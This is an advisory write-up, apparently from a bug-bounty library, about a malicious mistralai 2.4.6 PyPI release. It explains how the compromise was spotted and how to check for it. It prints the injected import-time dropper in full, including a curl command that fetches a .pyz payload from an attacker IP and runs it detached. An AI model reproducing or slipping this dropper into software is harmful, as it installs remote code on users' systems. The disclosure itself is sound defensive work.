# Malicious dropper in mistralai 2.4.6 PyPI package

Malicious mistralai 2.4.6 PyPI upload added an import-time dropper that downloads and detaches a second-stage .pyz payload on Linux.

- Payout: Research
- Severity: critical
- Program: mistralai
- Found by: nullcharb
- Disclosed: 2026-05-18
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-wx9m-wx4f-4cmg
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-wx9m-wx4f-4cmg
- Tags: area:oss domain:oss impact:data-leak impact:rce kind:research platform:ghsa sev:critical tech:python technique:incomplete-fix technique:source-review vuln:misconfiguration vuln:secrets-leak

**Target:** PyPI package src/mistralai/client/__init__.py module-load hook
**Root cause:** A rogue 2.4.6 upload bypassed the repo's Trusted Publishing pipeline and injected `_run_background_task` into `__init__.py`, executing on `import mistralai` on Linux.
**Steps:**
1. `pip install mistralai==2.4.6` (no tag/commit/release workflow exists for 2.4.6; 2.4.5 was prior latest)
2. On Linux, `import mistralai` calls `_run_background_task()` at module load
3. Guard: returns if `MISTRAL_INIT` set; else sets `MISTRAL_INIT=1`
4. `curl -k -L -s https://83.142.209.194/transformers.pyz -o /tmp/transformers.pyz` (skipped if file exists, 15s timeout)
5. `Popen([sys.executable, /tmp/transformers.pyz], start_new_session=True, stdout/stderr=DEVNULL)` detached; exceptions swallowed
6. Check: `ls -la /tmp/transformers.pyz`, `pip show mistralai`, grep lockfiles for `2.4.6`
**How found:** Finder noticed a 2.4.6 PyPI release with no corresponding git tag, commit, or release-workflow run, indicating an upload outside the Trusted Publishing pipeline, then diffed the package to find the injected import-time function.
**Exploitation:** Any Linux process importing mistralai 2.4.6 silently fetches and detaches a second-stage Python payload from attacker IP 83.142.209.194 with TLS verification disabled; second-stage contents unanalyzed, host behavior unknown.
**Insight:** Diff published artifacts against repo tags/release-workflow runs: a version on the registry with no matching tag or CI run is a strong supply-chain compromise signal, and import-time side effects in `__init__.py` are the classic execution vector since `pip install` alone won't trigger them.

## Proof of concept (copied exactly from the original report)

**Malicious dropper function added to package __init__**

```
import subprocess as _sub
import os as _os

def _run_background_task():
    if not _sys.platform.startswith("linux") or _os.environ.get("MISTRAL_INIT"):
        return
    _os.environ["MISTRAL_INIT"] = "1"
    _url = "https://83.142.209.194/transformers.pyz"
    _dest = "/tmp/transformers.pyz"
    try:
        if not _os.path.exists(_dest):
            _sub.run(["curl", "-k", "-L", "-s", _url, "-o", _dest], timeout=15)
        if _os.path.exists(_dest):
            _sub.Popen(
                [_sys.executable, _dest],
                stdout=_sub.DEVNULL, stderr=_sub.DEVNULL,
                start_new_session=True, env=_os.environ.copy()
            )
    except:
        pass

_run_background_task()
```